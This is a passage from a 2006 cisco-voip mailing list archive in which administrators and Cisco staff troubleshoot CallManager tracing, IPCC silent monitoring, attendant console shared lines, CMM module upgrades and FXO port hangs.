> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > 
> > >  
> > > 
> > > >
> _______________________________________________
> > > cisco-voip mailing list
> > > cisco-voip at puck.nether.net
> > >
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > > 
> > 
> > 
> > Jordy Leung
> > 
> > __________________________________________________
> > Do You Yahoo!?
> > Tired of spam?  Yahoo! Mail has the best spam
> > protection around 
> > http://mail.yahoo.com 
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> > 
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around 
> http://mail.yahoo.com 
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From kfedor at amt.ru  Wed Feb 22 08:06:00 2006
From: kfedor at amt.ru (Fedorov, Konstantin)
Date: Wed Feb 22 08:06:12 2006
Subject: [cisco-voip] IPCC VoIP Monitor
Message-ID: <8B5577ED1D5D2F4AA0E4651EC41C6DC70647C461@amthqex01.amt.ru>

Hi,

Try configure span session only to tx direction.

-----------------------
Sincerely Yours,
Konstantin Fedorov

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Brain Whistler
Sent: Tuesday, February 21, 2006 5:14 PM
To: Cisco Voip
Subject: [cisco-voip] IPCC VoIP Monitor

Hi,

I am running Cisco IPCC Express 3.5.(2) Enhanced
edition for contact centre with CCM 4.0.(1). This is
installed on Dedicated machine where CRA Server, VoIP
Monitor and Historical Reporting is co-resident. I
have configured two nic cards as described in
Administration guides.

Everything is working fine but when is the Supervisor
goes for call recording or Silient Monitor is doesn't
work, although I can see a file created of the
recording of 46 bytes in the folder 

c:\program files\cisco\Desktop_config\Audiofiles\, but
nothing more than that. 

Note that I have already configured the switch for
SPAN. I have verified my configuration with IRIS
sniffer, it is working perfectly and capturing RTP
packets but cannot get this successful on IPCC VoIP
Monitor. 

Can anyone help me in it, where I am failing, or does
VoIP Monitor server need to be configured from which
NIC to capture RTP packets.

Thanks
Brain


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip




From ealeatherman at gmail.com  Wed Feb 22 08:37:14 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Wed Feb 22 08:37:19 2006
Subject: [cisco-voip] (no subject)
Message-ID: <94a1afde0602220537h2d83f0b6ya86dcf41de598c1d@mail.gmail.com>

Hi all,

I recently turned on DBL tracing for some troubleshooting im doing. DBL Mon
just died one day last week on the publisher, for no good reason that I can
tell. Caused all kinds of grief with forwarding. I wanted to have traces on
in case it happened again - so I would have something to look and and
possibly send TAC if I couldnt solve it.

Now I'm getting the following error constantly (several times a minute) in
the event viewer app logs:

Error: GetNewFileName-fopen in wb mode failed to update existing file.
szFileNumberName = E:\Trace\DBL\DBL_DLLHOST~num.bin.

Makes it hard to see anything else in the event viewer.

Anyone seen this before?

--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From ealeatherman at gmail.com  Wed Feb 22 08:43:10 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Wed Feb 22 08:43:13 2006
Subject: [cisco-voip] DBL Trace errors
Message-ID: <94a1afde0602220543x7820d1aepdaf0f54e1ccd63e4@mail.gmail.com>

Woops, sorry didnt put a subject line =\

On 2/22/06, Ed Leatherman <ealeatherman at gmail.com> wrote:
>
> Hi all,
>
> I recently turned on DBL tracing for some troubleshooting im doing. DBL
> Mon just died one day last week on the publisher, for no good reason that I
> can tell. Caused all kinds of grief with forwarding. I wanted to have traces
> on in case it happened again - so I would have something to look and and
> possibly send TAC if I couldnt solve it.
>
> Now I'm getting the following error constantly (several times a minute) in
> the event viewer app logs:
>
> Error: GetNewFileName-fopen in wb mode failed to update existing file.
> szFileNumberName = E:\Trace\DBL\DBL_DLLHOST~num.bin.
>
> Makes it hard to see anything else in the event viewer.
>
> Anyone seen this before?
>
> --
> Ed Leatherman
> IP Telephony Coordinator
> West Virginia University
> Telecommunications and Network Operations
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>


--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From Aaron.Derooy at xerox.com  Wed Feb 22 09:13:59 2006
From: Aaron.Derooy at xerox.com (DeRooy, Aaron H)
Date: Wed Feb 22 09:15:08 2006
Subject: [cisco-voip] Trace with "dd" and "match" statements
Message-ID: <E0EF33751DEA634DA817A51024A8E3F205CD7CB8@usa0300ms01.na.xerox.net>

I've been seeing/reading trace outputs the show "dd=3", "dd=32"...etc.
as you dial and "potential matches still exist" statements but my CCM
traces don't show that. They just show "keypadbutton kpbutton=2"
statements then device manager statements the a bunch of h323 g/w stuff.
I have detailed level enabled. I had arbitrary enabled at first. When I
switched to detailed, it just added keepalive messages which is what I
expected.
thanks

Aaron H. DeRooy 
=




From wsisk at cisco.com  Wed Feb 22 09:26:54 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 22 09:27:08 2006
Subject: [cisco-voip] DBL Trace errors
In-Reply-To: <94a1afde0602220543x7820d1aepdaf0f54e1ccd63e4@mail.gmail.com>
References: <94a1afde0602220543x7820d1aepdaf0f54e1ccd63e4@mail.gmail.com>
Message-ID: <43FC74AE.2040502@cisco.com>

that's not good.  the .bin file contains the file name of the next trace 
file to be written.  Either some other application has a lock on your 
file (virus scanner?) or the file permissions are incorrect or the file 
is corrupt. 

i've recovered this before by deleting the file and restarting the DBL 
component under start->program files->admin tools->component services 
expand until you find DBL then right click and shutdown.  It restarts on 
its own.

/Wes

Ed Leatherman wrote:
> Woops, sorry didnt put a subject line =\
>
> On 2/22/06, *Ed Leatherman* <ealeatherman at gmail.com 
> <mailto:ealeatherman at gmail.com>> wrote:
>
>     Hi all,
>
>     I recently turned on DBL tracing for some troubleshooting im
>     doing. DBL Mon just died one day last week on the publisher, for
>     no good reason that I can tell. Caused all kinds of grief with
>     forwarding. I wanted to have traces on in case it happened again -
>     so I would have something to look and and possibly send TAC if I
>     couldnt solve it.
>
>     Now I'm getting the following error constantly (several times a
>     minute) in the event viewer app logs:
>
>     Error: GetNewFileName-fopen in wb mode failed to update existing
>     file. szFileNumberName = E:\Trace\DBL\DBL_DLLHOST~num.bin.
>
>     Makes it hard to see anything else in the event viewer.
>
>     Anyone seen this before?
>
>     -- 
>     Ed Leatherman
>     IP Telephony Coordinator
>     West Virginia University
>     Telecommunications and Network Operations
>     _______________________________________________
>     cisco-voip mailing list
>     cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net>
>     https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
>
>
> -- 
> Ed Leatherman
> IP Telephony Coordinator
> West Virginia University
> Telecommunications and Network Operations
> ------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From wsisk at cisco.com  Wed Feb 22 09:30:16 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 22 09:30:41 2006
Subject: [cisco-voip] Attendant console & shared lines
In-Reply-To: <253FAE7A06B11B49A3A29770B2B8BAFC64823A@CSEXCH01.charles-stanley.co.uk>
References: <253FAE7A06B11B49A3A29770B2B8BAFC64823A@CSEXCH01.charles-stanley.co.uk>
Message-ID: <43FC7578.8020604@cisco.com>

it depends on where you use the shared line and what version of CM you 
are on.

we say DO NOT DO IT because CTI control of shared lines does not work 
well.  There are several call flows and state transitions that do not 
work and cause the CTI application (TCD in this case) to become confused.

AC client itself in older version of CM would allow you to attempt to 
control a shared line and that appeared to work until you hit one of the 
untested state transitions. The the client went dumb.  Later versions of 
ACClient will not even allow you to open/control a shared line for this 
reason.

It's just not a good idea to use ACClient to attempt to control a shared 
line.

A shared line can exist in a huntgroup with some mixed results, but why? 
Why not just use a broadcast huntgroup?

/Wes

Nick Kassel wrote:
>
> I know in the documentation is says that you must not use shared lines 
> with the attendant console but I have been told by someone that this 
> can be done, I would like to use 1 shared line in the hunt group, has 
> anyone tried this before and does it work?
>
>  
>
>  
>
>
>
>
> ***********************************************************************************************
>
> The information contained in this e-mail is strictly confidential, some or all
> of which may be legally privileged. It is for the intended recipient only.
> Access to this e-mail by any other person is prohibited. If you are not the
> intended recipient, any use, disclosure, copying, printing, distribution of,
> replying to or any action taken or omitted to be taken in reliance on this
> e-mail, is prohibited and may be unlawful. Please contact the sender immediately
> should this e-mail have been incorrectly addressed or transmitted.
>
> You accept that any instructions are deemed to have been given at the time the
> recipient(s) accesses them and that delivery receipt does not constitute
> acknowledgement or receipt by the intended recipient(s). You accept that there
> may be a delay in processing the instructions received from e-mails after
> Charles Stanley has received them. You are advised that urgent, time sensitive
> and confidential communications should not be sent by e-mail. 
>
> You acknowledge that e-mails are not secure and you accept the risk of
> malfunction, viruses, unauthorised interference, mis-delivery or delay.
> ************************************************************************************************
>
>
> Charles Stanley & Co. Ltd
> Registered Office: 25 Luke Street London EC2A 4AR
>
> Tel: 0207 739 8200 Fax: 0207 739 7798
> Registered in England No. 1903304
>
> Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd
>
> Authorised and Regulated by the Financial Services Authority, Member of the
> London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
> Options Exchange.
>
> This footnote also confirms that this email message has been swept by McAfee
> VirusScan and SurfControl Email Filter software.
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From jgrace at digitelusa.net  Wed Feb 22 09:42:05 2006
From: jgrace at digitelusa.net (James Grace)
Date: Wed Feb 22 09:49:32 2006
Subject: [cisco-voip] the best way to move config from 501 to 501 
Message-ID: <200602220948953.SM01568@3729434770>

I m setting up a remote site with 7971.  we configure a 501 here at home,
but can not swap with 501 at remote site (smartnet stuff)  I understand that
I could mess up the passwords on the pix501 if I don't migrate the config
correctly.  I was told this by a tac engineer,  but I didn't understand
exactly what passwords (telnet , cryto , logons etc)  can someone clear this
up for me

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From rratliff at cisco.com  Wed Feb 22 09:57:35 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Wed Feb 22 09:57:32 2006
Subject: [cisco-voip] Trace with "dd" and "match" statements
In-Reply-To: <E0EF33751DEA634DA817A51024A8E3F205CD7CB8@usa0300ms01.na.xerox.net>
References: <E0EF33751DEA634DA817A51024A8E3F205CD7CB8@usa0300ms01.na.xerox.net>
Message-ID: <64F74F90-DCD1-48FD-AE02-261D4CFC5994@cisco.com>

Do you have device based tracing on?

Try setting to default, then changing only the debug trace level to  
detailed.  Remember the default trace settings will move your traces  
back to program files\cisco\trace if you've moved them elsewhere.

-Ryan

On Feb 22, 2006, at 9:13 AM, DeRooy, Aaron H wrote:

I've been seeing/reading trace outputs the show "dd=3", "dd=32"...etc.
as you dial and "potential matches still exist" statements but my CCM
traces don't show that. They just show "keypadbutton kpbutton=2"
statements then device manager statements the a bunch of h323 g/w stuff.
I have detailed level enabled. I had arbitrary enabled at first. When I
switched to detailed, it just added keepalive messages which is what I
expected.
thanks

Aaron H. DeRooy
=



_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From kthorngr at cisco.com  Wed Feb 22 10:05:11 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Wed Feb 22 10:04:58 2006
Subject: [cisco-voip] Trace with "dd" and "match" statements
In-Reply-To: <E0EF33751DEA634DA817A51024A8E3F205CD7CB8@usa0300ms01.na.xerox.net>
References: <E0EF33751DEA634DA817A51024A8E3F205CD7CB8@usa0300ms01.na.xerox.net>
Message-ID: <8e7ce3bcf094560e7d80c246485ccdd0@cisco.com>

This probably means that the call processing for that call is performed 
on a different CCM node.  An example of this can be seen with shared 
lines.  If two phones share a line and are registered to two different 
CCMs the call processing for that line will happen on only one of those 
servers, no matter which phone is dialing.  The first node to register 
a particular shared line will be the one to process all calls for that 
shared line.  So, you will see the signaling from the phone to the CCM 
the phone is registered with but if the call processing is on another 
node that information will be sent via ICCS to the call processing node 
for digit analysis.  You will need to look at the traces on the call 
processing node to see the Digit Analysis (dd="3").

HTH,
Kevin

On Feb 22, 2006, at 9:13 AM, DeRooy, Aaron H wrote:

> I've been seeing/reading trace outputs the show "dd=3", "dd=32"...etc.
> as you dial and "potential matches still exist" statements but my CCM
> traces don't show that. They just show "keypadbutton kpbutton=2"
> statements then device manager statements the a bunch of h323 g/w 
> stuff.
> I have detailed level enabled. I had arbitrary enabled at first. When I
> switched to detailed, it just added keepalive messages which is what I
> expected.
> thanks
>
> Aaron H. DeRooy
> =
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>


From kfedor at amt.ru  Wed Feb 22 10:14:27 2006
From: kfedor at amt.ru (Fedorov, Konstantin)
Date: Wed Feb 22 10:16:40 2006
Subject: [cisco-voip] IPCC VoIP Monitor
Message-ID: <8B5577ED1D5D2F4AA0E4651EC41C6DC70647C463@amthqex01.amt.ru>

Hi

May be this will help
http://www.cisco.com/warp/public/78/VOIP.html#voice10

-----------------------
Sincerely Yours,
Konstantin Fedorov

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Brain Whistler
Sent: Tuesday, February 21, 2006 5:14 PM
To: Cisco Voip
Subject: [cisco-voip] IPCC VoIP Monitor

Hi,

I am running Cisco IPCC Express 3.5.(2) Enhanced
edition for contact centre with CCM 4.0.(1). This is
installed on Dedicated machine where CRA Server, VoIP
Monitor and Historical Reporting is co-resident. I
have configured two nic cards as described in
Administration guides.

Everything is working fine but when is the Supervisor
goes for call recording or Silient Monitor is doesn't
work, although I can see a file created of the
recording of 46 bytes in the folder 

c:\program files\cisco\Desktop_config\Audiofiles\, but
nothing more than that. 

Note that I have already configured the switch for
SPAN. I have verified my configuration with IRIS
sniffer, it is working perfectly and capturing RTP
packets but cannot get this successful on IPCC VoIP
Monitor. 

Can anyone help me in it, where I am failing, or does
VoIP Monitor server need to be configured from which
NIC to capture RTP packets.

Thanks
Brain


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
_______________________________________________
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https://puck.nether.net/mailman/listinfo/cisco-voip




From Nick.Kassel at Charles-Stanley.co.uk  Wed Feb 22 10:56:19 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Wed Feb 22 11:24:51 2006
Subject: [cisco-voip] Attendant console & shared lines
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC648246@CSEXCH01.charles-stanley.co.uk>

Forgot to mention we are using CM 4.1(3)SR1


-----Original Message-----
From: Nick Kassel 
Sent: Wednesday, February 22, 2006 3:44 PM
To: 'Wes Sisk'
Subject: RE: [cisco-voip] Attendant console & shared lines

Wes

We would like to use the attendant console for one of our branch
offices, they have a receptionist who sits on her own and then all the
other staff in one open room, the reason we would like to use a shared
line in the hunt group is so if she is busy or unavailable the calls
will go through to the main room and ring on all the phones so anyone
can answer it. The shared line would sit as the second DN in the hunt
group. Also in SRST for our main line coming in the only way we can get
all the phones to ring at the same time would be to have shared lines.
We did look at broadcast hunt groups for our main numbers but due to the
SRST issue and also the problem of not being able to set up a unity
mailbox for the main line decided not to go with them.

Nick  


-----Original Message-----
From: Wes Sisk [mailto:wsisk at cisco.com] 
Sent: Wednesday, February 22, 2006 2:30 PM
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Attendant console & shared lines

it depends on where you use the shared line and what version of CM you 
are on.

we say DO NOT DO IT because CTI control of shared lines does not work 
well.  There are several call flows and state transitions that do not 
work and cause the CTI application (TCD in this case) to become
confused.

AC client itself in older version of CM would allow you to attempt to 
control a shared line and that appeared to work until you hit one of the

untested state transitions. The the client went dumb.  Later versions of

ACClient will not even allow you to open/control a shared line for this 
reason.

It's just not a good idea to use ACClient to attempt to control a shared

line.

A shared line can exist in a huntgroup with some mixed results, but why?

Why not just use a broadcast huntgroup?

/Wes

Nick Kassel wrote:
>
> I know in the documentation is says that you must not use shared lines

> with the attendant console but I have been told by someone that this 
> can be done, I would like to use 1 shared line in the hunt group, has 
> anyone tried this before and does it work?
>
>  
>
>  
>
>
>
>
>
************************************************************************
***********************
>
> The information contained in this e-mail is strictly confidential,
some or all
> of which may be legally privileged. It is for the intended recipient
only.
> Access to this e-mail by any other person is prohibited. If you are
not the
> intended recipient, any use, disclosure, copying, printing,
distribution of,
> replying to or any action taken or omitted to be taken in reliance on
this
> e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
> should this e-mail have been incorrectly addressed or transmitted.
>
> You accept that any instructions are deemed to have been given at the
time the
> recipient(s) accesses them and that delivery receipt does not
constitute
> acknowledgement or receipt by the intended recipient(s). You accept
that there
> may be a delay in processing the instructions received from e-mails
after
> Charles Stanley has received them. You are advised that urgent, time
sensitive
> and confidential communications should not be sent by e-mail. 
>
> You acknowledge that e-mails are not secure and you accept the risk of
> malfunction, viruses, unauthorised interference, mis-delivery or
delay.
>
************************************************************************
************************
>
>
> Charles Stanley & Co. Ltd
> Registered Office: 25 Luke Street London EC2A 4AR
>
> Tel: 0207 739 8200 Fax: 0207 739 7798
> Registered in England No. 1903304
>
> Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd
>
> Authorised and Regulated by the Financial Services Authority, Member
of the
> London Stock Exchange, International Securities Markets Association,
and The London International Financial Futures &
> Options Exchange.
>
> This footnote also confirms that this email message has been swept by
McAfee
> VirusScan and SurfControl Email Filter software.
>
>
------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   




From jose.mujica at netxar.com  Wed Feb 22 11:13:45 2006
From: jose.mujica at netxar.com (Jose Mujica)
Date: Wed Feb 22 11:29:57 2006
Subject: [cisco-voip] CCM and IPCC Integration Problems - Lately
Message-ID: <20060222161247.M81282@netxar.com>

Hi. I'm running CCM 4.1(3)sr2 integrated with IPCC Express 3.5(3) and lately 
I'm runnin into some weird problems. I have 24 CTI Ports between the CCM and 
IPCC Express and also a Route Point that ties those CTI Ports to an ACD 
script. 

Customers are complaining that when they call the Pilot Number they hear a 
fax. I tried calling from an IP Phone to the Route Point a number of times 
and sometimes instead of hearing the ACD Prompts (i.e. on the CTI Port) I 
can see on the Phone LCD that the call went to another extension (FXS 
extension) were a fax is located. Other times Unity Auto Attendant kicks 
in.. 

When looking at the CCM trace I can see the IP Phone placing the call to the 
RP and I can see the CTI Application providing the right CTI Port to CCM but 
CCM still route the call to that particular phone number.. 

Attach is the pertinent log.. 

IP Phone making the call x7441 
CTI Ports x1001-1024 
RP x7400 

I check all CTI Port config for forwarind parameters and none are set. Also 
the RP doesn't have any forwarding parameters. Any ideas? This is getting 
critical. 

Thanks in advanced, 
-Jose

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From Eric.A.Fretz at L-3com.com  Wed Feb 22 11:30:07 2006
From: Eric.A.Fretz at L-3com.com (Fretz, EA Eric @ IS)
Date: Wed Feb 22 11:30:26 2006
Subject: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1
Message-ID: <51A2C3ED40A3584281444F65BC9026270A8846B5@gvlexch02.gvl.is.l-3com.com>

We just bought a Cisco Media Module and wanted to know if anyone on the list
has done this before...and what the "gotchas" are.  The CMM has two of the
ACT dsp cards that we plan on using for Meet-Me conferences.  The 6509
switch is running CatOS 8.4 and the CMM blade is running IOS 12.3.8.
 
 
 
 
  _____  

 
Eric Fretz
Eric.A.Fretz at L-3Com.com <mailto:Eric.A.Fretz at L-3Com.com> 
L3 Communications-IS / Greenville, TX
O: 903-457-3646
F: 903-457-1903
C: 214-794-9288
P: 903-621-8090
 
 
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From wsisk at cisco.com  Wed Feb 22 11:34:08 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 22 11:34:18 2006
Subject: [cisco-voip] Attendant console & shared lines
In-Reply-To: <253FAE7A06B11B49A3A29770B2B8BAFC648246@CSEXCH01.charles-stanley.co.uk>
References: <253FAE7A06B11B49A3A29770B2B8BAFC648246@CSEXCH01.charles-stanley.co.uk>
Message-ID: <43FC9280.3020706@cisco.com>

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From Scott.Voll at wesd.org  Wed Feb 22 11:44:03 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Wed Feb 22 11:44:15 2006
Subject: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1
Message-ID: <D713462ED535184D830F6F6301753E7E01BE16B1@VISHNU.wesd.org>

Upgrade the CMM.  To the latest xy code.  Something like 12.3.8xy6 or
later.  It's been very stable for us.

 

Sounds like TAC developers would like me to move to 12.4 but it's hard
to upgrade when it's working.

 

Scott

 

PS.  Anything else you need?  Did you really buy two ACT cards, or are
you referring to the two DSP on the single ACT card?

 

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fretz, EA Eric
@ IS
Sent: Wednesday, February 22, 2006 8:30 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1

 

We just bought a Cisco Media Module and wanted to know if anyone on the
list has done this before...and what the "gotchas" are.  The CMM has two
of the ACT dsp cards that we plan on using for Meet-Me conferences.  The
6509 switch is running CatOS 8.4 and the CMM blade is running IOS
12.3.8.

 

 

 

 

________________________________

 

Eric Fretz

Eric.A.Fretz at L-3Com.com

L3 Communications-IS / Greenville, TX

O: 903-457-3646

F: 903-457-1903

C: 214-794-9288

P: 903-621-8090

 

 

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From wsisk at cisco.com  Wed Feb 22 12:17:08 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 22 12:17:24 2006
Subject: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE16B1@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE16B1@VISHNU.wesd.org>
Message-ID: <43FC9C94.1030004@cisco.com>

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From Scott.Voll at wesd.org  Wed Feb 22 12:20:48 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Wed Feb 22 12:20:56 2006
Subject: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1
Message-ID: <D713462ED535184D830F6F6301753E7E01BE16B7@VISHNU.wesd.org>

Eric let me know how that works out for you.... I don't want to be the
guinea pig.

 

Scott

 

________________________________

From: Wes Sisk [mailto:wsisk at cisco.com] 
Sent: Wednesday, February 22, 2006 9:17 AM
To: Voll, Scott
Cc: Fretz, EA Eric @ IS; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1

 

Better to start at 12.4(3b) for a new deployment.  everything else is
considered obselete.

Voll, Scott wrote: 

Upgrade the CMM.  To the latest xy code.  Something like 12.3.8xy6 or
later.  It's been very stable for us.

 

Sounds like TAC developers would like me to move to 12.4 but it's hard
to upgrade when it's working.

 

Scott

 

PS.  Anything else you need?  Did you really buy two ACT cards, or are
you referring to the two DSP on the single ACT card?

 

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fretz, EA Eric
@ IS
Sent: Wednesday, February 22, 2006 8:30 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1

 

We just bought a Cisco Media Module and wanted to know if anyone on the
list has done this before...and what the "gotchas" are.  The CMM has two
of the ACT dsp cards that we plan on using for Meet-Me conferences.  The
6509 switch is running CatOS 8.4 and the CMM blade is running IOS
12.3.8.

 

 

 

 

________________________________

 

Eric Fretz

Eric.A.Fretz at L-3Com.com

L3 Communications-IS / Greenville, TX

O: 903-457-3646

F: 903-457-1903

C: 214-794-9288

P: 903-621-8090

 

 

 



________________________________



 
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip
  
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From jonvoip at gmail.com  Wed Feb 22 12:55:11 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Wed Feb 22 12:55:15 2006
Subject: [cisco-voip] CallManager 5 NDA Expiration?
Message-ID: <5d093f9a0602220955r4684eb64o501e27a68479072c@mail.gmail.com>

So, I went to the CM5 Pre-Launch training, and I am curious as to when the
NDA expires and I can talk about this thing to my customers?



Jonathan
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From Jeremy.Rogers at wmg.com  Wed Feb 22 13:16:08 2006
From: Jeremy.Rogers at wmg.com (Rogers, Jeremy (WMG))
Date: Wed Feb 22 13:16:17 2006
Subject: [cisco-voip] Compatability matrix
Message-ID: <124D48FCC0BBC44591CD5E13109302250B1ACD2E@wmggsex08.wmg.com>

Has anyone seen a more recent updated version of the compatibility matrix?
It looks like the last update was in November.  I recently noticed an error
on my CER server that the version of BARS is incompatible.  I am running
4.0(8).  I don't know if 4.0(9) is.  I am running CCM 4.1(3) so I cant go
backwards with BARS.  Anyone know whether 4.0(9) is compatible or the matrix
has been updated?

 

Jeremy Rogers

Senior Telecom Analyst

Warner Music Group

75 Rockefeller Plaza

New York, NY 10019

212-275-2183

 

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From jonvoip at gmail.com  Wed Feb 22 13:32:51 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Wed Feb 22 13:32:55 2006
Subject: [cisco-voip] CallManager 5 NDA Expiration?
In-Reply-To: <91e236d30602221028h6f209f3he59225d9e0aa266e@mail.gmail.com>
References: <5d093f9a0602220955r4684eb64o501e27a68479072c@mail.gmail.com>
	<91e236d30602221028h6f209f3he59225d9e0aa266e@mail.gmail.com>
Message-ID: <5d093f9a0602221032l6aee0b63qdbce1d6826d2b2e5@mail.gmail.com>

OK, I can wait two weeks.

I figured it would be after the formal announcement that week...



J

On 2/22/06, Israel Lang <zephy316 at gmail.com> wrote:
>
> I think the big announcement will happen March 7th. I would think once
> things are out in the open the NDA would expire.
>
> Israel
>
> On 2/22/06, Jonathan Charles <jonvoip at gmail.com> wrote:
> >
> > So, I went to the CM5 Pre-Launch training, and I am curious as to when
> > the NDA expires and I can talk about this thing to my customers?
> >
> >
> >
> > Jonathan
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
> >
> >
>
>
> --
> Have a great day!!!!!!!!!!
> zephy316_gmail.com
>
> Replace the _ with an @ symbol
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From Eric.A.Fretz at L-3com.com  Wed Feb 22 15:16:53 2006
From: Eric.A.Fretz at L-3com.com (Fretz, EA Eric @ IS)
Date: Wed Feb 22 15:17:18 2006
Subject: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1
Message-ID: <51A2C3ED40A3584281444F65BC9026270A8846B7@gvlexch02.gvl.is.l-3com.com>

No, we actually bought two ACT daughtercards.
 
The main thing I am concerned with is the fact that the card runs its' own
copy of IOS.....which can make switch recovery complicated if the CMM comes
up in ROMMON.  War stories would be nice!
 
Cheers,
Eric

-----Original Message-----
From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
Sent: Wednesday, February 22, 2006 10:44 AM
To: Fretz, EA Eric @ IS; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1



Upgrade the CMM.  To the latest xy code.  Something like 12.3.8xy6 or later.
It's been very stable for us.

 

Sounds like TAC developers would like me to move to 12.4 but it's hard to
upgrade when it's working.

 

Scott

 

PS.  Anything else you need?  Did you really buy two ACT cards, or are you
referring to the two DSP on the single ACT card?

 

 

 


  _____  


From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Fretz, EA Eric @ IS
Sent: Wednesday, February 22, 2006 8:30 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Setting up a WS-SVC-CMM for use with CCM 4.1

 

We just bought a Cisco Media Module and wanted to know if anyone on the list
has done this before...and what the "gotchas" are.  The CMM has two of the
ACT dsp cards that we plan on using for Meet-Me conferences.  The 6509
switch is running CatOS 8.4 and the CMM blade is running IOS 12.3.8.

 

 

 

 


  _____  


 

Eric Fretz

Eric.A.Fretz at L-3Com.com <mailto:Eric.A.Fretz at L-3Com.com> 

L3 Communications-IS / Greenville, TX

O: 903-457-3646

F: 903-457-1903

C: 214-794-9288

P: 903-621-8090

 

 

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From CORTIZ at broward.org  Wed Feb 22 16:19:45 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Wed Feb 22 16:19:53 2006
Subject: [cisco-voip] FXO ports hanging issue
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2E24@MREXVS01.bc.broward.cty>

There is a known bug out there with FXO cards that seems to be affecting
us (Waiting for another occurrence to verify with debugs for TAC).  The
FXO cards on 2800/3800 serires routers can get hung up.  Inbound and
outbound calls stop functioning and the only workaround at this time is
a reboot.  I have about 5 locations with a 2800 series router and FXO
cards.  I only see this problem in one location that happens to have the
heaviest call volume.  Just curious if anyone else has encountered this
issue....

 

Carlos 

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From Scott.Voll at wesd.org  Wed Feb 22 16:24:10 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Wed Feb 22 16:24:22 2006
